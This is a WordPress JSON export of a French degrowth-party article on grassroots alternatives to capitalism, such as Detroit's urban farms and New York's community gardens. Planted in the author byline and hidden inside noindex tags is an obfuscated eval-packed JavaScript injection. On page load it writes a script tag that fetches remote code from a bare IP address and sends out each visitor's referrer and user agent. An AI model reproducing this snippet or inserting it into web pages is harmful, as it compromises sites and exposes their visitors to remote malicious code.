{"id":8203,"date":"2013-04-11T09:27:26","date_gmt":"2013-04-11T08:27:26","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=8203"},"modified":"2013-04-11T09:27:26","modified_gmt":"2013-04-11T08:27:26","slug":"face-au-capitalisme-productiviste-des-luttes-silencieuses-pour-de-nouveaux-paradigmes","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=8203","title":{"rendered":"Face au capitalisme productiviste, des luttes silencieuses pour de nouveaux paradigmes"},"content":{"rendered":"<p><a href=\"http:\/\/www.medelu.org\/Face-au-capitalisme-productiviste\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" alt=\"\" src=\"http:\/\/www.medelu.org\/IMG\/mdl.png\" width=\"170\" height=\"131\" \/><\/a><\/p>\n<p><strong>Par <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnznh|var|u0026u|referrer|ttnrh||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Anne-Isabelle Veillot et Cynthia Toupet du PPLD pour M\u00e9moire des luttes.<\/strong><\/p>\n<p>Source : <a href=\"http:\/\/www.medelu.org\/Face-au-capitalisme-productiviste\">http:\/\/www.medelu.org\/<\/a><\/p>\n<p>Il est de ces luttes dont on parle peu\u2026 parce qu\u2019elles demeurent silencieuses, en apparence marginales ou marginalis\u00e9es, r\u00e9duites \u00e0 l\u2019insignifiance face aux logiques de guerre \u00e9conomique\u2026 Et pourtant, ces luttes participent patiemment \u00e0 la construction de nouveaux paradigmes pour les soci\u00e9t\u00e9s de demain, en inventant et en exp\u00e9rimentant de nouvelles alternatives \u00e0 un syst\u00e8me qui, dans les faits, est synonyme d\u2019\u00e9chec \u00e0 la fois social, \u00e9conomique, d\u00e9mocratique, culturel et environnemental.<\/p>\n<div>\n<p>Les graves crises syst\u00e9miques que nous connaissons ont, contre toute attente, renforc\u00e9 le positionnement de la plupart des \u00e9lites mondiales. Elles continuent de s\u2019accaparer les terres, d\u2019exploiter \u00e0 outrance les ressources encore disponibles dans le but de r\u00e9aliser toujours plus de profit. Par d\u00e9finition, nos soci\u00e9t\u00e9s capitalistes ont conduit \u00e0 la marchandisation de l\u2019ensemble du monde, de mani\u00e8re sp\u00e9culative. Les biens communs (eau, semences, terres, etc.) sont parmi les cibles centrales de cette logique. Le productivisme et le consum\u00e9risme \u00e0 outrance g\u00e9n\u00e8rent ainsi depuis des d\u00e9cennies des logiques mortif\u00e8res, la destruction de notre \u00ab\u00a0environnement\u00a0\u00bb et la production d\u2019in\u00e9galit\u00e9s inacceptables<em>.\u00a0<\/em>Le champ politique, loin de prendre en compte les d\u00e9fis \u00e0 relever, provoqu\u00e9s par l\u2019\u00e9chec de notre mod\u00e8le de civilisation, ne propose aucune solution pour nous en sortir. Il n\u2019en appelle qu\u2019\u00e0 toujours plus de croissance, r\u00e9elle cause de notre situation critique, alors que les citoyens s\u2019extraient de cette logique pour raisonner en termes de besoins essentiels.<em>\u00a0<\/em><\/p>\n<p>Consid\u00e9rer avec lucidit\u00e9 ces logiques destructrices et mortif\u00e8res est tout aussi important que de changer notre regard sur ce qui se passe du c\u00f4t\u00e9 \u00ab\u00a0des forces de vie\u00a0\u00bb. Car dans un m\u00eame temps, de nombreuses r\u00e9sistances se manifestent \u00e0 travers le monde.<!--more--><\/p>\n<p>En effet, quantit\u00e9s d\u2019alternatives \u00e9mancipatrices se d\u00e9ploient en m\u00eame temps que les logiques r\u00e9gressives. M\u00eames silencieuses et tranquilles, elles n\u2019en demeurent pas moins fondamentales et n\u00e9cessaires. Elles participent \u00e0 une transformation sereine et profonde d\u2019un monde boulevers\u00e9 par les crises qu\u2019il traverse\u2026 Confront\u00e9s \u00e0 des situations de d\u00e9tresse li\u00e9es aux cons\u00e9quences d\u2019un syst\u00e8me bas\u00e9 sur la comp\u00e9tition, il est pertinent de relever dans le monde entier, comment des groupements de personnes s\u2019auto-organisent pour reprendre la main\u00a0sur tous les terrains fondamentaux du \u00ab\u00a0bien-vivre\u00a0\u00bb ensemble. Il ne s\u2019agit pas uniquement de recenser les initiatives pour lesquelles une r\u00e9silience collective est \u00e0 l\u2019\u0153uvre de mani\u00e8re novatrice, mais bien plus d\u2019\u00e9valuer la pertinence de ces exp\u00e9rimentations concr\u00e8tes, comprendre leurs modes de fonctionnement et de diffusion \u00e0 l\u2019ensemble de la soci\u00e9t\u00e9. Prendre le temps de d\u00e9crire ces strat\u00e9gies, les mettre en exergue, les m\u00e9diatiser, est avant tout un acte politique. Donner de la visibilit\u00e9 \u00e0 ces mutations multidimensionnelles, internationales, sans passer par la \u00ab\u00a0pens\u00e9e du but et du plan\u00a0\u00bb, c\u2019est accepter que les mouvements qui s\u2019op\u00e8rent cr\u00e9ent un espace particulier, fondamentalement\u00a0ind\u00e9terminable. Celui-ci porte un nom\u00a0: transition.<\/p>\n<p><em>\u00ab\u00a0La transition est imperceptible mais elle conduit sous nos yeux au complet renversement. Si toute r\u00e9volution est suivie d\u2019une contre-r\u00e9volution, la transformation silencieuse, elle, s\u2019installe.\u00a0\u00bb<\/em>\u00a0[<a id=\"nh1\" title=\"Fran\u00e7ois Jullien, Les transformations silencieuses, Grasset,  Paris,\u00a0(...)\" href=\"http:\/\/www.medelu.org\/Face-au-capitalisme-productiviste#nb1\" rel=\"footnote\">1<\/a>].<\/p>\n<p><strong>Des alternatives marginales\u00a0?<\/strong><\/p>\n<p>Le terrain prouve que des exp\u00e9rimentations collectives peuvent toucher beaucoup de personnes, et se diffuser d\u2019un lieu \u00e0 un autre, faisant exemple par leur r\u00e9ussite. Ce qui se passe dans une ville comme Detroit, aux Etats-Unis, en constitue un exemple parfait. L\u00e0 bas, des dizaines d\u2019initiatives sont en cours qui mobilisent des milliers de personnes.<\/p>\n<p>Cette capitale de l\u2019automobile nord-am\u00e9ricaine a subi une d\u00e9sindustrialisation massive. La fermeture d\u2019usines a entra\u00een\u00e9 le d\u00e9part d\u2019une grande partie de la population. La ville\u00a0consid\u00e9rablement d\u00e9peupl\u00e9e\u00a0(elle a perdu un quart de sa population entre 2000 et 2010), n\u2019atteignant\u00a0\u00e0 pr\u00e9sent que\u00a0714\u00a0000 habitants, compte\u00a0un habitant sur trois\u00a0vivant\u00a0en dessous du seuil de pauvret\u00e9 (soit trois fois plus que dans le reste des Etats-Unis). Reliant probl\u00e9matiques sociales,\u00a0environnementales et\u00a0alimentaires, des fermes et jardins urbains, entre autres, se sont cr\u00e9\u00e9s afin de rem\u00e9dier\u00a0au ch\u00f4mage et \u00e0 la p\u00e9nurie alimentaire\u00a0en cultivant des fruits et des l\u00e9gumes biologiques. L\u2019id\u00e9e d\u2019auto-suffisance alimentaire a touch\u00e9 une grande partie des habitants qui se sont form\u00e9s au mara\u00eechage, travaillant collectivement, cr\u00e9ant du lien social et du \u00ab\u00a0vivre-ensemble\u00a0\u00bb\u00a0: un jardin communautaire ne produit pas que des l\u00e9gumes\u00a0!<\/p>\n<p>Contrairement \u00e0 la majorit\u00e9 du pays qui d\u00e9pend, pour son alimentation, de denr\u00e9es produites ailleurs, Detroit a su inventer un approvisionnement en circuit court, local et accessible \u00e0 tous. M\u00eame si la municipalit\u00e9 \u00ab\u00a0<em>reconna\u00eet la valeur sociale de l\u2019agriculture urbaine, ses effets positifs sur la sant\u00e9, l\u2019aspect de la ville et la paix sociale\u00a0<\/em>\u00a0\u00bb, elle peine\u00a0toutefois\u00a0\u00e0 renoncer aux revenus fiscaux que des industries ou des bureaux g\u00e9n\u00e9reraient\u2026<\/p>\n<p>Cette relocalisation de ce que consomment les citoyens existe dans d\u2019autres villes du pays. On peut citer l\u2019exp\u00e9rience d\u00e9velopp\u00e9e par l\u2019organisation \u00e0 but non lucratif <em>Green Guerilla<\/em>\u00a0[<a id=\"nh2\" title=\"En savoir plus :  http:\/\/www.greenguerillas.org\/\" href=\"http:\/\/www.medelu.org\/Face-au-capitalisme-productiviste#nb2\" rel=\"footnote\">2<\/a>]. Celle-ci a g\u00e9n\u00e9r\u00e9 l\u2019existence de 800 jardins communautaires \u00e0 New York. Le ph\u00e9nom\u00e8ne se retrouve dans plusieurs pays\u00a0: en Argentine pour r\u00e9pondre aux besoins urgents provoqu\u00e9s par la crise \u00e9conomique des ann\u00e9es 2000, au Royaume-Uni, en France (avec le renouveau des jardins ouvriers) et dans toute l\u2019Europe, en Inde\u2026 Que ce soit sur les toits, les terrasses ou en utilisant les friches industrielles, entre les autoroutes, les citoyens\u00a0se r\u00e9approprient\u00a0l\u2019espace, dans les villes\u00a0et ailleurs, pour \u00e9chapper \u00e0 l\u2019ins\u00e9curit\u00e9 alimentaire, la malbouffe industrielle,\u00a0et l\u2019individualisme de notre soci\u00e9t\u00e9.<\/p>\n<p>Au-del\u00e0 des initiatives ponctuelles,\u00a0c\u2019est la d\u00e9mocratie participative qui est \u00e0 l\u2019\u0153uvre.\u00a0Les citoyens se trouvent appeler \u00e0 d\u00e9cider d\u00e9mocratiquement de l\u2019usage des terres, de la r\u00e9appropriation de l\u2019eau et des autres biens communs, de comment et quoi fabriquer, distribuer ou vendre, offrir aux passants ou r\u00e9server aux participants.<\/p>\n<p><strong>Utopie\u00a0?<\/strong><\/p>\n<p>Quand on est dans l\u2019obsession de la comp\u00e9titivit\u00e9, l\u2019argent devient le seul marqueur de r\u00e9ussite. Si on remet cela en cause, on remet en question le ressort m\u00eame du vivre ensemble de nos soci\u00e9t\u00e9s.\u00a0En effa\u00e7ant les fronti\u00e8res, c\u2019est le monde entier que les dominants ont cherch\u00e9 \u00e0 mettre en concurrence\u2026 Dans le cadre du syst\u00e8me actuel, l\u2019abandon de la comp\u00e9tition para\u00eet id\u00e9aliste\u00a0: pourquoi les individus d\u00e9cideraient d\u2019arr\u00eater\u00a0? Ne faudrait-il pas que tout le monde d\u00e9cide de sortir de ce syst\u00e8me concurrentiel en m\u00eame temps pour que cela puisse avoir une chance de fonctionner sous peine de rester compl\u00e8tement marginal\u00a0?<\/p>\n<p>Nous ne croyons pas \u00e0 cela car l\u2019observation des \u00e9volutions concr\u00e8tes indique que ce n\u2019est pas ce qui est en train de se passer. Alors m\u00eame que la logique guerri\u00e8re de la comp\u00e9titivit\u00e9 finit par produire des situations de d\u00e9tresse et de chaos social, nous constatons la multiplication d\u2019exp\u00e9riences ancr\u00e9es dans le r\u00e9el o\u00f9 la cr\u00e9ativit\u00e9 de la vie est capable de s\u2019exprimer pour d\u00e9velopper de v\u00e9ritables logiques de coop\u00e9ration.<\/p>\n<p>Les alternatives prennent formes sans attendre\u00a0de\u00a0reconnaissance officielle des institutions. Les citoyens diagnostiquent de ce qui pose probl\u00e8me dans leur\u00a0lieu de vie\u00a0et d\u00e9marrent un projet sans attendre une illusoire prise de pouvoir ou\u00a0prise en compte des gouvernements.\u00a0Partout dans le monde, la soci\u00e9t\u00e9 civile innove et cr\u00e9e les conditions de r\u00e9solutions des handicaps locaux (s\u00e9cheresse, d\u00e9pendance \u00e0 l\u2019alimentation import\u00e9e ou \u00e0 des semences propri\u00e9t\u00e9s de grandes firmes agro-alimentaires, manque de logements, etc.) amenant les autorit\u00e9s \u00e0 prendre en consid\u00e9ration leurs r\u00e9sultats et \u00e9ventuellement \u00e0 les soutenir.<\/p>\n<p>Le politique peut certes freiner l\u2019extension de ces initiatives.\u00a0On peut penser \u00e9galement que le capitalisme, se d\u00e9finissant par un productivisme effr\u00e9n\u00e9, ne soutiendra jamais suffisamment ces luttes pour qu\u2019elles deviennent bel et bien une alternative \u00e0 nos modes de vie actuels. M\u00eame si elles sont essentielles au niveau social lorsqu\u2019elles r\u00e9ussissent,\u00a0elles\u00a0ne suffiront pas, \u00e0 elles seules, \u00e0 transformer la soci\u00e9t\u00e9 oligarchique actuelle.\u00a0Penser une transformation politique\u00a0demeure donc n\u00e9cessaire, mais non suffisant, pour contrer les m\u00e9faits du capitalisme, tout comme ces alternatives demeurent fondamentales, mais non suffisantes, pour proposer de nouveaux paradigmes. Elles sont par d\u00e9finition compl\u00e9mentaires d\u2019une action au niveau politique. Ces deux engagements, l\u2019un collectif et l\u2019autre politique, doivent \u00eatre men\u00e9s de front pour permettre l\u2019amorce vers la transition.<\/p>\n<p>Simultan\u00e9ment, dans divers lieux tr\u00e8s \u00e9loign\u00e9s g\u00e9ographiquement, se mettent en place les contours de ce que pourraient \u00eatre demain des soci\u00e9t\u00e9s de transition. Une nouvelle forme politique reste \u00e0 inventer pour les accompagner&#8230;<\/p>\n<p>\u00ab\u00a0<em>Pour r\u00e9ussir la mutation, il faut associer plusieurs param\u00e8tres que j\u2019appelle \u00ab\u00a0R\u00eave\u00a0\u00bb\u00a0: r\u00e9sistance cr\u00e9atrice, vision transformatrice, exp\u00e9rimentation anticipatrice et \u00e9valuation d\u00e9mocratique<\/em>.\u00a0\u00bb\u00a0[<a id=\"nh3\" title=\"Patrick  Viveret, La cause humaine : du bon usage de la fin d\u2019un  monde,\u00a0(...)\" href=\"http:\/\/www.medelu.org\/Face-au-capitalisme-productiviste#nb3\" rel=\"footnote\">3<\/a>]<\/p>\n<p><strong><span style=\"text-decoration: underline;\">Sources<\/span>\u00a0:<\/strong><\/p>\n<ul>\n<li>B\u00e9n\u00e9dicte Magn\u00e9, <em>Un million de r\u00e9volutions tranquilles,<\/em> Les liens qui lib\u00e8rent, Paris, 2012.<\/li>\n<li>Film-documentaire <em>D\u00e9troit, je t\u2019aime <\/em><a href=\"http:\/\/detroitjetaime.com\/fr\">http:\/\/detroitjetaime.com\/fr<\/a><\/li>\n<li>Patrick Viveret,<em>\u00a0La cause humaine\u00a0: du bon usage de la fin d\u2019un monde, <\/em>Les liens qui lib\u00e8rent, Paris, 2012.<\/li>\n<li>Fran\u00e7ois Julien,<em> Les transformations silencieuses<\/em>, Grasset, Paris, 2009.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<\/div>\n<div>\n<h2>Notes<\/h2>\n<p>[<a id=\"nb1\" title=\"Notes 1\" href=\"http:\/\/www.medelu.org\/Face-au-capitalisme-productiviste#nh1\" rev=\"footnote\">1<\/a>] Fran\u00e7ois Jullien,<em> Les transformations silencieuses, G<\/em>rasset, Paris, 2009.<\/p>\n<p>[<a id=\"nb2\" title=\"Notes 2\" href=\"http:\/\/www.medelu.org\/Face-au-capitalisme-productiviste#nh2\" rev=\"footnote\">2<\/a>] En savoir plus\u00a0: <a href=\"http:\/\/www.greenguerillas.org\/\">http:\/\/www.greenguerillas.org\/<\/a><\/p>\n<p>[<a id=\"nb3\" title=\"Notes 3\" href=\"http:\/\/www.medelu.org\/Face-au-capitalisme-productiviste#nh3\" rev=\"footnote\">3<\/a>] Patrick Viveret,<em>\u00a0La cause humaine\u00a0: du bon usage de la fin d\u2019un monde, <\/em> Les Liens qui lib\u00e8rent, Paris,2012.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Par Anne-Isabelle Veillot et Cynthia Toupet du PPLD pour M\u00e9moire des luttes. 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